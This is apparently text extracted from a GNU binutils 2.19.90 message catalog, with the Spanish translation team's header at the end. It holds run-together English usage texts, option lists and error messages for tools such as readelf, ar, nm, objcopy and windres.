  DW_CFA_??? (User defined call frame op: %#x)
  Data:                              %s
  Entry	Dir	Time	Size	Name
  Entry point address:                 Extended opcode %d:   File: %lx  File: %s  Flags  Flags:                             0x%lx%s
  Flags: %s  Version: %d
  Generic options:
  Index: %d  Cnt: %d    Initial value of 'is_stmt':  %d
  Length:                              %ld
  Length:                      %ld
  Length:                   %ld
  Line Base:                   %d
  Line Range:                  %d
  Machine:                           %s
  Magic:     Minimum Instruction Length:  %d
  No emulation specific options
  No strings found in this section.  Note: This section has relocations against it, but these have NOT been applied to this dump.
  Num Buc:    Value          Size   Type   Bind Vis      Ndx Name
  Num Buc:    Value  Size   Type   Bind Vis      Ndx Name
  Num:    Index       Value  Name  Number TAG
  Number of program headers:         %ld
  Number of section headers:         %ld  OS/ABI:                            %s
  Offset          Info           Type           Sym. Value    Sym. Name
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
  Offset into .debug_info section:     0x%lx
  Offset into .debug_info:  0x%lx
  Offset:                      0x%lx
  Offset: %#08lx  Link: %u (%s)
  Opcode %d has %d args
  Opcode Base:                 %d
  Options for %s:
  Options passed to DLLTOOL:
  Owner		Data size	Description
  Pg  Pointer Size:             %d
  Prologue Length:             %d
  Rest are passed unmodified to the language driver
  Section header string table index: %ld  Segment Sections...
  Segment Size:             %d
  Set File Name to entry %d in the File Name Table
  Set ISA to %lu
  Set basic block
  Set column to %lu
  Set epilogue_begin to true
  Set is_stmt to %d
  Set prologue_end to true
  Size of area in .debug_info section: %ld
  Size of program headers:           %ld (bytes)
  Size of section headers:           %ld (bytes)
  Size of this header:               %ld (bytes)
  Special opcode %d: advance Address by %lu to 0x%lx  Tag        Type                         Name/Value
  Type           Offset             VirtAddr           PhysAddr
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  Type:                              %s
  Unknown opcode %d with operands:   Version def aux past end of section
  Version definition past end of section
  Version need aux past end of section
  Version need past end of section
  Version:                             %d
  Version:                           %d %s
  Version:                           0x%lx
  Version:                  %d
  [-X32]       - ignores 64 bit objects
  [-X32_64]    - accepts 32 and 64 bit objects
  [-X64]       - ignores 32 bit objects
  [-g]         - 32 bit small archive
  [D]          - use zero for timestamps and uids/gids
  [N]          - use instance [count] of name
  [Nr] Name
  [Nr] Name              Type             Address           Offset
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [P]          - use full path names when matching
  [S]          - do not build a symbol table
  [T]          - make a thin archive
  [V]          - display the version number
  [a]          - put file(s) after [member-name]
  [b]          - put file(s) before [member-name] (same as [i])
  [c]          - do not warn if the library had to be created
  [f]          - truncate inserted file names
  [o]          - preserve original dates
  [s]          - create an archive index (cf. ranlib)
  [u]          - only replace files that are newer than current archive contents
  [v]          - be verbose
  d            - delete file(s) from the archive
  define new File Table entry
  m[ab]        - move file(s) in the archive
  p            - print file(s) found in the archive
  q[f]         - quick append file(s) to the archive
  r[ab][f][u]  - replace existing or insert new file(s) into the archive
  t            - display contents of archive
  x[o]         - extract file(s) from the archive
 %lu byte block:  (%s)
 (File Offset: 0x%lx) (bytes into file)
 (bytes into file)
  Start of section headers:           (indirect string, offset: 0x%lx): %s (start == end) (start > end) <%d><%lx>: Abbrev Number: %lu Addr:  Addr: 0x Argument %s ignored At least one of the following switches must be given:
 Canonical gp value:  Convert addresses into line number/file name pairs.
 Convert an object file into a NetWare Loadable Module
 Copies a binary file, possibly transforming it in the process
 DW_MACINFO_define - lineno : %d macro : %s
 DW_MACINFO_end_file
 DW_MACINFO_start_file - lineno: %d filenum: %d
 DW_MACINFO_undef - lineno : %d macro : %s
 DW_MACINFO_vendor_ext - constant : %d string : %s
 Display information about the contents of ELF format files
 Display information from object <file(s)>.
 Display printable strings in [file(s)] (stdin by default)
 Displays the sizes of sections inside binary files
 Entries:
 Generate an index to speed access to archives
 Global entries:
 If no addresses are specified on the command line, they will be read from stdin
 If no input file(s) are specified, a.out is assumed
 Length  Number     %% of total  Coverage
 List symbols in [file(s)] (a.out by default).
 Local entries:
 NOTE: This section has relocations against it, but these have NOT been applied to this dump.
 None
 Num: Name                           BoundTo     Flags
 Offset     Info    Type                Sym. Value  Symbol's Name
 Offset     Info    Type                Sym. Value  Symbol's Name + Addend
 Offset     Info    Type            Sym.Value  Sym. Name
 Offset     Info    Type            Sym.Value  Sym. Name + Addend
 Options are:
  -a --all               Equivalent to: -h -l -S -s -r -d -V -A -I
  -h --file-header       Display the ELF file header
  -l --program-headers   Display the program headers
     --segments          An alias for --program-headers
  -S --section-headers   Display the sections' header
     --sections          An alias for --section-headers
  -g --section-groups    Display the section groups
  -t --section-details   Display the section details
  -e --headers           Equivalent to: -h -l -S
  -s --syms              Display the symbol table
      --symbols          An alias for --syms
  -n --notes             Display the core notes (if present)
  -r --relocs            Display the relocations (if present)
  -u --unwind            Display the unwind info (if present)
  -d --dynamic           Display the dynamic section (if present)
  -V --version-info      Display the version sections (if present)
  -A --arch-specific     Display architecture specific information (if any).
  -c --archive-index     Display the symbol/file index in an archive
  -D --use-dynamic       Use the dynamic section info when displaying symbols
  -x --hex-dump=<number|name>
                         Dump the contents of section <number|name> as bytes
  -p --string-dump=<number|name>
                         Dump the contents of section <number|name> as strings
  -R --relocated-dump=<number|name>
                         Dump the contents of section <number|name> as relocated bytes
  -w[lLiaprmfFsoR] or
  --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges]
                         Display the contents of DWARF2 debug sections
 Print a human readable interpretation of a SYSROFF object file
 Removes symbols and sections from files
 Reserved entries:
 The options are:
 The options are:
  -A|-B     --format={sysv|berkeley}  Select output style (default is %s)
  -o|-d|-x  --radix={8|10|16}         Display numbers in octal, decimal or hex
  -t        --totals                  Display the total sizes (Berkeley only)
            --common                  Display total size for *COM* syms
            --target=<bfdname>        Set the binary file format
            @<file>                   Read options from <file>
  -h        --help                    Display this information
  -v        --version                 Display the program's version

 The options are:
  -I --input-target=<bfdname>   Set the input binary file format
  -O --output-target=<bfdname>  Set the output binary file format
  -T --header-file=<file>       Read <file> for NLM header information
  -l --linker=<linker>          Use <linker> for any linking
  -d --debug                    Display on stderr the linker command line
  @<file>                       Read options from <file>.
  -h --help                     Display this information
  -v --version                  Display the program's version
 The options are:
  -a - --all                Scan the entire file, not just the data section
  -f --print-file-name      Print the name of the file before each string
  -n --bytes=[number]       Locate & print any NUL-terminated sequence of at
  -<number>                   least [number] characters (default 4).
  -t --radix={o,d,x}        Print the location of the string in base 8, 10 or 16
  -o                        An alias for --radix=o
  -T --target=<BFDNAME>     Specify the binary file format
  -e --encoding={s,S,b,l,B,L} Select character size and endianness:
                            s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
  @<file>                   Read options from <file>
  -h --help                 Display this information
  -v -V --version           Print the program's version number
 The options are:
  -a --ascii_in                Read input file as ASCII file
  -A --ascii_out               Write binary messages as ASCII
  -b --binprefix               .bin filename is prefixed by .mc filename_ for uniqueness.
  -c --customflag              Set custom flags for messages
  -C --codepage_in=<val>       Set codepage when reading mc text file
  -d --decimal_values          Print values to text files decimal
  -e --extension=<extension>   Set header extension used on export header file
  -F --target <target>         Specify output target for endianess.
  -h --headerdir=<directory>   Set the export directory for headers
  -u --unicode_in              Read input file as UTF16 file
  -U --unicode_out             Write binary messages as UFT16
  -m --maxlength=<val>         Set the maximal allowed message length
  -n --nullterminate           Automatic add a zero termination to strings
  -o --hresult_use             Use HRESULT definition instead of status code definition
  -O --codepage_out=<val>      Set codepage used for writing text file
  -r --rcdir=<directory>       Set the export directory for rc files
  -x --xdbg=<directory>        Where to create the .dbg C include file
                               that maps message ID's to their symbolic name.
 The options are:
  -a, --debug-syms       Display debugger-only symbols
  -A, --print-file-name  Print name of the input file before every symbol
  -B                     Same as --format=bsd
  -C, --demangle[=STYLE] Decode low-level symbol names into user-level names
                          The STYLE, if specified, can be `auto' (the default),
                          `gnu', `lucid', `arm', `hp', `edg', `gnu-v3', `java'
                          or `gnat'
      --no-demangle      Do not demangle low-level symbol names
  -D, --dynamic          Display dynamic symbols instead of normal symbols
      --defined-only     Display only defined symbols
  -e                     (ignored)
  -f, --format=FORMAT    Use the output format FORMAT.  FORMAT can be `bsd',
                           `sysv' or `posix'.  The default is `bsd'
  -g, --extern-only      Display only external symbols
  -l, --line-numbers     Use debugging information to find a filename and
                           line number for each symbol
  -n, --numeric-sort     Sort symbols numerically by address
  -o                     Same as -A
  -p, --no-sort          Do not sort the symbols
  -P, --portability      Same as --format=posix
  -r, --reverse-sort     Reverse the sense of the sort
 The options are:
  -h --help        Display this information
  -v --version     Print the program's version number
 The options are:
  -i --input=<file>            Name input file
  -o --output=<file>           Name output file
  -J --input-format=<format>   Specify input format
  -O --output-format=<format>  Specify output format
  -F --target=<target>         Specify COFF target
     --preprocessor=<program>  Program to use to preprocess rc file
  -I --include-dir=<dir>       Include directory when preprocessing rc file
  -D --define <sym>[=<val>]    Define SYM when preprocessing rc file
  -U --undefine <sym>          Undefine SYM when preprocessing rc file
  -v --verbose                 Verbose - tells you what it's doing
  -c --codepage=<codepage>     Specify default codepage
  -l --language=<val>          Set language when reading rc file
     --use-temp-file           Use a temporary file instead of popen to read
                               the preprocessor output
     --no-use-temp-file        Use popen (default)
 The options are:
  -q --quick       (Obsolete - ignored)
  -n --noprescan   Do not perform a scan to convert commons into defs
  -d --debug       Display information about what is being done
  @<file>          Read options from <file>
  -h --help        Display this information
  -v --version     Print the program's version number
 The options are:
  @<file>                      Read options from <file>
 The options are:
  @<file>                Read options from <file>
  -b --target=<bfdname>  Set the binary file format
  -e --exe=<executable>  Set the input file name (default is a.out)
  -i --inlines           Unwind inlined functions
  -j --section=<name>    Read section-relative offsets instead of addresses
  -s --basenames         Strip directory names
  -f --functions         Show function names
  -C --demangle[=style]  Demangle function names
  -h --help              Display this information
  -v --version           Display the program's version

 The options are:
  @<file>                Read options from <file>
  -h --help              Display this information
  -v --version           Display the program's version

 [without DW_AT_frame_base] and Line by %d to %d
 at offset 0x%lx contains %lu entries:
 command specific modifiers:
 commands:
 emulation options: 
 generic modifiers:
 optional:
 program interpreter type: %lx, namesize: %08lx, descsize: %08lx
#lines %d %-35s  %11d  %#18lx
%ld: .bf without preceding function%ld: unexpected .ef
%lu	%s
%s

%s  %11d  %#18lx
%s %s%c0x%s never used%s %s: %s%s both copied and removed%s exited with status %d%s has no archive index
%s is not a library%s is not a valid archive%s section data%s:
%s: %s: address out of bounds%s: Can't open input archive %s
%s: Can't open output archive %s
%s: Error: %s: Failed to read file header
%s: Failed to read file's magic number
%s: Matching formats:%s: Multiple redefinition of symbol "%s"%s: Path components stripped from image name, '%s'.%s: Symbol "%s" is target of more than one redefinition%s: Warning: %s: bad archive file name
%s: bad number: %s%s: bad version in PE subsystem%s: can't find module file %s
%s: can't open file %s
%s: cannot find section %s%s: cannot get addresses from archive%s: cannot set time: %s%s: did not find a valid archive header
%s: end of the symbol table reached before the end of the index
%s: execution of %s failed: %s: failed to read archive header
%s: failed to read archive header following archive index
%s: failed to read archive index
%s: failed to read archive index symbol table
%s: failed to read long symbol name string table
%s: failed to seek back to start of object files in the archive
%s: failed to seek to archive member.
%s: failed to seek to first archive header
%s: failed to seek to next archive header
%s: failed to seek to next file name
%s: failed to skip archive symbol table
%s: file %s is not an archive
%s: fread failed%s: fseek to %lu failed: %s%s: invalid commit value for --heap%s: invalid commit value for --stack%s: invalid output format%s: invalid radix%s: invalid reserve value for --heap%s: invalid reserve value for --stack%s: no archive map to update%s: no open archive
%s: no open output archive
%s: no output archive specified yet
%s: no recognized debugging information%s: no resource section%s: no symbols%s: not a dynamic object%s: not enough binary data%s: printing debugging information failed%s: read of %lu returned %lu%s: read: %s%s: supported architectures:%s: supported formats:%s: supported targets:%s: symbols remain in the index symbol table, but without corresponding entries in the index table
%s: the archive has an index but no symbols
%s: the archive index is empty
%s: the archive index is supposed to have %ld entries, but the size in the header is too small
%s: unable to dump the index as none was found
%s: unexpected EOF%s: warning: %s: warning: shared libraries can not have uninitialized data%s: warning: unknown size for field `%s' in struct%s:%d: %s
%s:%d: Ignoring rubbish found on this line%s:%d: garbage found at end of line%s:%d: missing new symbol name%s:%d: premature end of file'%s''%s' is not an ordinary file
'%s': No such file'%s': No such file
(Unknown location op)(User defined location op)(base address)
(declared as inline and inlined)(declared as inline but ignored)(inlined)(location list)(not inlined)(start == end)(start > end)*invalid*.debug_info offset of 0x%lx in %s section does not point to a CU header.
2's complement, big endian2's complement, little endian: duplicate value
: expected to be a directory
: expected to be a leaf
<End of list>
<OS specific>: %d<corrupt string table index: %3ld><no .debug_str section><offset is too big><other>: %x<processor specific>: %d<string table index: %3ld><unknown addend: %lx><unknown: %x><unknown>: %d<unknown>: %lx<unknown>: %x<unknown>: 0x%xA codepage was specified switch ,%s' and UTF16.
Added exports to output fileAdding exports to output fileAudit libraryAuxiliary libraryBCD float type not supportedBFD header file version %s
Bad sh_info in group section `%s'
Bad sh_link in group section `%s'
Bad stab: %s
Binary %s contains:
Bogus end-of-siblings marker detected at offset %lx in .debug_info section
C++ base class not definedC++ base class not found in containerC++ data member not found in containerC++ default values not in a functionC++ object has no fieldsC++ reference is not pointerC++ reference not foundC++ static virtual methodCORE (Core file)CU at offset %lx contains corrupt or unsupported version number: %d.
CU: %s/%s:
CU: %s:
Can't disassemble for architecture %s
Can't fill gap after sectionCan't have LIBRARY and NAMECan't open .lib file: %sCan't open def file: %sCan't open file %s
Can't use supplied machine %sCannot interpret virtual addresses without program headers.
Cannot produce mcore-elf dll from archive file: %sConfiguration fileContents of %s section:

Contents of section %s:Contents of the %s section:
Contents of the %s section:

Convert a COFF object file into a SYSROFF object file
Copyright 2009 Free Software Foundation, Inc.
Corrupt unit length (%lx) found in section %s
Could not locate '%s'.  System error message: %s
Couldn't get demangled builtin type
Created lib fileCreating library file: %sCreating stub file: %sCurrent open archive is %s
DIE at offset %lx refers to abbreviation number %lu which does not exist
DLLTOOL name    : %s
DLLTOOL options : %s
DRIVER name     : %s
DRIVER options  : %s
DW_FORM_data8 is unsupported when sizeof (unsigned long) != 8
DW_FORM_strp offset too big: %lx
DYN (Shared object file)Debug info is corrupted, abbrev offset (%lx) is larger than abbrev section size (%lx)
Debug info is corrupted, length of CU at %lx extends beyond end of section (length = %lx)
Decoded dump of debug contents of section %s:

Deleting temporary base file %sDeleting temporary def file %sDeleting temporary exp file %sDemangled name is not a function
Dependency audit libraryDisplaying the debug contents of section %s is not yet supported.
Don't know about relocations on this machine architecture
Done reading %sDuplicate symbol entered into keyword list.ELF Header:
ERROR: Bad section length (%d > %d)
ERROR: Bad subsection length (%d > %d)
EXEC (Executable file)End of Sequence

Entry point Error, duplicate EXPORT with ordinals: %sExcluding symbol: %sExecution of %s failedFORMAT is one of rc, res, or coff, and is deduced from the file name
extension if not specified.  A single file name is an input file.
No input-file is stdin, default rc.  No output-file is stdout, default rc.
Failed to determine last chain length
Failed to print demangled template
Failed to read in number of buckets
Failed to read in number of chains
File %s is not an archive so its index cannot be displayed.
File contains multiple dynamic string tables
File contains multiple dynamic symbol tables
File contains multiple symtab shndx tables
File name                            Line number    Starting address
Filter libraryFlags:Further warnings about bogus end-of-sibling markers suppressed
GOTGenerated exports fileGenerating export file: %sID directory entryID resourceID subdirectoryIEEE numeric overflow: 0xIEEE string length overflow: %u
IEEE unsupported complex type size %u
IEEE unsupported float type size %u
IEEE unsupported integer type size %u
Idx Name          Size      VMA               LMA               File off  AlgnIdx Name          Size      VMA       LMA       File off  AlgnImport library `%s' specifies two or more dllsIn archive %s:
Index of archive %s: (%ld entries, 0x%lx bytes in the symbol table)
Input file '%s' is not readable.
Internal error: DWARF version is not 2 or 3.
Internal error: Unknown machine type: %dInternal error: failed to create format string to display program interpreter
Invalid option '-%c'
Invalid radix: %s
Keeping temporary base file %sKeeping temporary def file %sKeeping temporary exp file %sKey to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
LIBRARY: %s base: %xLast stabs entries before error:
Library rpath: [%s]Library runpath: [%s]Library soname: [%s]Location list starting at offset 0x%lx is not terminated.
Location lists in %s section start at 0x%lx
Location lists in .debug_info section aren't in ascending order!
Machine '%s' not supportedMissing knowledge of 32-bit reloc types used in DWARF sections of machine number %d
Multiple renames of section %sMust provide at least one of -o or --dllname optionsNAME: %s base: %xNONE (None)NT_ARCH (architecture)NT_AUXV (auxiliary vector)NT_FPREGS (floating point registers)NT_FPREGSET (floating point registers)NT_GNU_ABI_TAG (ABI version tag)NT_GNU_BUILD_ID (unique build ID bitstring)NT_GNU_GOLD_VERSION (gold version)NT_GNU_HWCAP (DSO-supplied software HWCAP info)NT_LWPSINFO (lwpsinfo_t structure)NT_LWPSTATUS (lwpstatus_t structure)NT_PPC_VMX (ppc Altivec registers)NT_PPC_VSX (ppc VSX registers)NT_PRPSINFO (prpsinfo structure)NT_PRSTATUS (prstatus structure)NT_PRXFPREG (user_xfpregs structure)NT_PSINFO (psinfo structure)NT_PSTATUS (pstatus structure)NT_TASKSTRUCT (task structure)NT_VERSION (version)NT_WIN32PSTATUS (win32_pstatus structure)N_LBRAC not within function
Name                  Value           Class        Type         Size             Line  Section

Name                  Value   Class        Type         Size     Line  Section

Name index: %ld
Name: %s
NetBSD procinfo structureNo %s section present

No comp units in %s section ?No entry %s in archive.
No filename following the -fo option.
No location lists in .debug_info section!
No mangling for "%s"
No member named `%s'
No note segments present in the core file.
No range lists in .debug_info section!
NoneNot an ELF file - it has the wrong magic bytes at the start
Not enough memory for a debug info array of %u entriesNot needed object: [%s]
Nothing to do.
OS Specific: (%x)Offset %lx used as value for DW_AT_import attribute of DIE at offset %lx is too big.
Offset 0x%lx is bigger than .debug_loc section size.
Only -X 32_64 is supportedOnly DWARF 2 and 3 aranges are currently supported.
Only DWARF 2 and 3 pubnames are currently supported
Only DWARF version 2 and 3 line info is currently supported.
Opened temporary file: %sOperating System specific: %lxOption -I is deprecated for setting the input format, please use -J instead.
Out of memory
Out of memory allocating 0x%lx bytes for %s
Out of memory allocating dump request table.
Out of memory reading long symbol names in archive
Out of memory whilst trying to convert the archive symbol index
Out of memory whilst trying to read archive index symbol table
Out of memory whilst trying to read archive symbol index
PLT GOTPT_FIRSTMACH+%dPT_GETFPREGS (fpreg structure)PT_GETREGS (reg structure)Pascal file name not supportedPath components stripped from dllname, '%s'.Pointer size + Segment size is not a power of two.
Print a human readable interpretation of a SYSROFF object file
Print width has not been initialized (%d)Prints bytes from stdin in hex format.
Processed def fileProcessed definitionsProcessing def file: %sProcessing definitionsProcessor Specific: %lxProcessor Specific: (%x)REL (Relocatable file)Range lists in %s section start at 0x%lx
Raw dump of debug contents of section %s:

Reading %s section of %s failed: %sReport bugs to %s
Report bugs to %s.
Reserved length value (%lx) found in section %s
Scanning object file %sSection %d has invalid sh_entsize %lx (expected %lx)
Section %d was not dumped because it does not exist!
Section '%s' was not dumped because it does not exist!
Section headers are not available!
Sections:
Shared library: [%s]Skipping unexpected relocation type %s
Standalone AppSucking in info from %s section in %sSupported architectures:Supported targets:Syntax error in def file %s:%dThe information in section %s appears to be corrupt - the section is too small
The line info appears to be corrupt - the section is too small
There are %d section headers, starting at offset 0x%lx:
There are %ld unused bytes at the end of section %s
There is a hole [0x%lx - 0x%lx] in %s section.
There is a hole [0x%lx - 0x%lx] in .debug_loc section.
There is an overlap [0x%lx - 0x%lx] in %s section.
There is an overlap [0x%lx - 0x%lx] in .debug_loc section.
This instance of readelf has been built without support for a
64 bit data type and so it cannot read 64 bit ELF files.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or (at your option) any later version.
This program has absolutely no warranty.
Too many N_RBRACs
Tried `%s'
Tried file: %sType file number %d out of range
Type index number %d out of range
UNKNOWN: length %d
Unable to change endianness of input file(s)Unable to determine dll name for `%s' (not an import library?)Unable to determine the length of the dynamic string table
Unable to determine the number of symbols to load
Unable to find program interpreter name
Unable to load/parse the .debug_info section, so cannot interpret the %s section.
Unable to locate %s section!
Unable to open base-file: %sUnable to open object file: %sUnable to open temporary assembler file: %sUnable to read in 0x%lx bytes of %s
Unable to read in dynamic data
Unable to read program interpreter name
Unable to recognise the format of fileUnable to recognise the format of the input file `%s'Unable to seek to 0x%lx for %s
Unable to seek to end of file
Unable to seek to end of file!
Unable to seek to start of dynamic information
Undefined N_EXCLUnexpected demangled varargs
Unexpected type in v3 arglist demangling
Unhandled MN10300 reloc type found after SYM_DIFF relocUnhandled data length: %d
Unknown AT value: %lxUnknown FORM value: %lxUnknown TAG value: %lxUnknown format '%c'
Unknown note type: (0x%08x)Unrecognized XCOFF type %d
Unrecognized debug option '%s'
Unrecognized debug section: %s
Unrecognized demangle component %d
Unrecognized demangled builtin type
Unrecognized form: %lu
Usage %s <option(s)> <object-file(s)>
Usage: %s < input_file > output_file
Usage: %s <option(s)> <file(s)>
Usage: %s <option(s)> in-file(s)
Usage: %s [emulation options] [--plugin <name>] [-]{dmpqrstx}[abcfilNoPsSuvV] [member-name] [count] archive-file file...
Usage: %s [emulation options] [-]{dmpqrstx}[abcfilNoPsSuvV] [member-name] [count] archive-file file...
Usage: %s [option(s)] [addr(s)]
Usage: %s [option(s)] [file(s)]
Usage: %s [option(s)] [in-file [out-file]]
Usage: %s [option(s)] [input-file]
Usage: %s [option(s)] [input-file] [output-file]
Usage: %s [option(s)] in-file
Usage: %s [option(s)] in-file [out-file]
Usage: %s [options] archive
Usage: readelf <option(s)> elf-file(s)
Using `%s'
Using file: %sUsing popen to read preprocessor output
Using temporary file `%s' to read preprocessor output
Using the --size-sort and --undefined-only options togetherValue for `N' must be positive.Virtual address 0x%lx not located in any PT_LOAD segment.
Warning, ignoring duplicate EXPORT %s %d,%dWarning, machine type (%d) not supported for delayimport.Warning: %s: %s
Warning: '%s' is not an ordinary fileWarning: Output file cannot represent architecture `%s'Warning: changing type size from %d to %d
Warning: could not locate '%s'.  reason: %sWarning: ignoring previous --reverse-bytes value of %dWarning: input target 'binary' required for binary architecture parameter.Warning: truncating gap-fill from 0x%s to 0x%x[<unknown>: 0x%x]`N' is only meaningful with the `x' and `d' options.`u' is not meaningful with the `D' option.`u' is only meaningful with the `r' option.`x' cannot be used on thin archives.acceleratorarchitecture %s unknownarchitecture: %s, attributesbad ATN65 recordbad C++ field bit pos or sizebad dynamic symbol
bad format for %sbad mangled name `%s'
bad misc recordbad register: bad type for C++ method functionbadly formed extended line op encountered!
bfd_coff_get_auxent failed: %sbfd_coff_get_syment failed: %sbfd_open failed open stub file: %sblocks left on stack at endbyte number must be less than interleavebyte number must be non-negativecan not determine type of file `%s'; use the -J optioncan't add paddingcan't add section '%s'can't create %s file ,%s' for output.
can't create debugging sectioncan't create section `%s'can't execute `%s': %scan't get BFD_RELOC_RVA relocation typecan't open %s `%s': %scan't open `%s' for output: %scan't open temporary file `%s': %scan't popen `%s': %scan't redirect stdout: `%s': %scan't set BFD default target to `%s': %scan't set debugging section contentscannot create debug link section `%s'cannot create tempdir for archive copying (error: %s)cannot delete %s: %scannot fill debug link section `%s'cannot open '%s': %scannot open input file %scannot open: %s: %scannot reverse bytes: length of section %s must be evenly divisible by %dconflictconflict list found without a dynamic symbol table
const/volatile indicator missingcontrol data requires DIALOGEXcopy from `%s' [%s] to `%s' [%s]
copy from `%s' [unknown] to `%s' [unknown]
corrupt note found at offset %lx into core notes
could not create temporary file to hold stripped copycould not determine the type of symbol number %ld
couldn't open symbol redefinition file %s (error: %s)creating %scursorcursor file `%s' does not contain cursor datacustom sectiondata entrydata size %lddebug_add_to_current_namespace: no current filedebug_end_block: attempt to close top level blockdebug_end_block: no current blockdebug_end_common_block: not implementeddebug_end_function: no current functiondebug_end_function: some blocks were not closeddebug_find_named_type: no current compilation unitdebug_get_real_type: circular debug information for %s
debug_make_undefined_type: unsupported kinddebug_name_type: no current filedebug_record_function: no debug_set_filename calldebug_record_label: not implementeddebug_record_line: no current unitdebug_record_parameter: no current functiondebug_record_variable: no current filedebug_start_block: no current blockdebug_start_common_block: not implementeddebug_start_source: no debug_set_filename calldebug_tag_type: extra tag attempteddebug_tag_type: no current filedebug_write_type: illegal type encountereddialog controldialog control datadialog control enddialog font point sizedialog headerdialogex controldialogex font informationdirectorydirectory entry namedon't know how to write debugging information for %sdynamic sectiondynamic string tabledynamic stringserror copying private BFD dataerror in private header dataerror: instruction width must be positiveerror: prefix strip must be non-negativeerror: the input file '%s' is emptyerror: the start address should be before the end addresserror: the stop address should be after the start addressexpression stack mismatchexpression stack overflowexpression stack underflowfailed to copy private datafailed to create output sectionfailed to open temporary head file: %sfailed to open temporary tail file: %sfailed to read the number of entries from base filefailed to set alignmentfailed to set sizefailed to set vmafilename required for COFF inputfilename required for COFF outputfixed version infoflags 0x%08x:
fontdirfontdir device namefontdir face namefontdir headergroup cursorgroup cursor headergroup icongroup icon headerhas childrenhelp ID requires DIALOGEXhelp sectionicon file `%s' does not contain icon dataignoring the alternative valueillegal option -- %cillegal type indexillegal variable indexinput and output files must be differentinput file does not seems to be UFT16.
input file named both on command line and with INPUTinterleave must be positiveinternal error -- this option not implementedinternal stat error on %sinvalid argument to --format: %sinvalid codepage specified.
invalid integer argument %sinvalid minimum string length %dinvalid numberinvalid option -f
invalid string lengthinvalid value specified for pragma code_page.
liblistliblist string tablemake .bss sectionmake .nlmsections sectionmake sectionmenu headermenuex headermenuex offsetmenuitemmenuitem headermessage sectionmissing index typemissing required ASNmissing required ATN65module sectionmore than one dynamic segment
named directory entrynamed resourcenamed subdirectoryno .dynamic section in the dynamic segment
no argument types in mangled string
no childrenno entry %s in archive
no entry %s in archive %s!no export definition file provided.
Creating one, but that may not be what you wantno information for symbol number %ld
no input fileno input file specifiedno name for output fileno operation specifiedno resourcesno symbols
no type information for C++ method functionnonenot stripping symbol `%s' because it is named in a relocationnotesnull terminated unicode stringnumber of bytes to reverse must be positive and evennumeric overflowoptionsout of memory parsing relocs
overflow when adjusting relocation against %sparse_coff_type: Bad type code 0x%xpreprocessing failed.program headersreference parameter is not a pointerrelocation count is negativerelocsresource IDresource dataresource data sizeresource type unknownrpc sectionsection '%s' has the NOBITS type - its contents are unreliable.
section 0 in group section [%5u]
section [%5u] in group section [%5u] > maximum section [%5u]
section [%5u] in group section [%5u] already in group section [%5u]
section contentssection datasection headersset .bss vmaset .data sizeset .nlmsection contentsset .nlmsections sizeset Address to 0x%lx
set Discriminator to %lu
set section alignmentset section flagsset section sizeset start addressshared sectionskipping invalid relocation offset 0x%lx in section %s
skipping unexpected symbol type %s in %ld'th relocation in section %s
sorry - this program has been built without plugin support
stab_int_type: bad size %ustack overflowstack underflowstat failed on bitmap file `%s': %sstat failed on file `%s': %sstat failed on font file `%s': %sstat returns negative size for `%s'string tablestring_hash_lookup failed: %sstringtable stringstringtable string lengthstub section sizessubprocess got fatal signal %dsupport not compiled in for %ssupported flags: %ssymbol informationsymbolssymtab shndxthe .dynamic section is not contained within the dynamic segment
the .dynamic section is not the first section in the dynamic segment.
this target does not support %lu alternative machine codestreating that number as an absolute e_machine value insteadtry to add a ill language.two different operation options specifiedunable to apply unsupported reloc type %d to section %s
unable to copy file '%s'; reason: %sunable to open file ,%s' for input.
unable to open output file %sunable to parse alternative machine codeunable to read contents of %sunable to rename '%s'; reason: %sundefined C++ objectundefined C++ vtableundefined variable in ATNundefined variable in TYunexpected DIALOGEX version %dunexpected end of debugging informationunexpected fixed version info version %luunexpected fixed version information length %ldunexpected fixed version signature %luunexpected group cursor type %dunexpected group icon type %dunexpected numberunexpected record typeunexpected string in C++ miscunexpected stringfileinfo value length %ldunexpected varfileinfo value length %ldunexpected version stringunexpected version string length %ld != %ld + %ldunexpected version string length %ld < %ldunexpected version stringtable value length %ldunexpected version type %dunexpected version value length %ldunknownunknown ATN typeunknown BB typeunknown C++ encoded nameunknown C++ visibilityunknown PE subsystem: %sunknown TY codeunknown builtin typeunknown demangling style `%s'unknown format type `%s'unknown input EFI target: %sunknown long section names option '%s'unknown macunknown output EFI target: %sunknown sectionunknown virtual character for baseclassunknown visibility character for baseclassunknown visibility character for fieldunnamed $vb typeunrecognized --endian type `%s'unrecognized -E optionunrecognized C++ abbreviationunrecognized C++ default typeunrecognized C++ misc recordunrecognized C++ object overhead specunrecognized C++ object specunrecognized C++ reference typeunrecognized cross reference typeunrecognized section flag `%s'unrecognized: %-7lxunresolved PC relative reloc against %sunsupported ATN11unsupported ATN12unsupported C++ object typeunsupported IEEE expression operatorunsupported menu version %dunsupported or unknown Dwarf Call Frame Instruction number: %#x
unsupported qualifierunwind infounwind tableuser defined: length %d
version dataversion defversion def auxversion definition sectionversion length %d does not match resource length %luversion needversion need aux (2)version need aux (3)version need sectionversion string tableversion symbol dataversion var infoversion varfileinfowait: %swarning: CHECK procedure %s not definedwarning: EXIT procedure %s not definedwarning: FULLMAP is not supported; try ld -Mwarning: No version number givenwarning: START procedure %s not definedwarning: could not create temporary file whilst copying '%s', (error: %s)warning: could not locate '%s'.  System error message: %swarning: file alignment (0x%s) > section alignment (0x%s)warning: input and output formats are not compatiblewarning: symbol %s imported but not in import listwill produce no output, since undefined symbols have no size.writing stubProject-Id-Version: binutils 2.19.90
Report-Msgid-Bugs-To: bug-binutils@gnu.org
POT-Creation-Date: 2009-09-07 14:08+0200
PO-Revision-Date: 2009-09-12 16:36-0500
Last-Translator: Cristian Othn Martnez Vera <cfuga@itam.mx>
Language-Team: Spanish <es@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
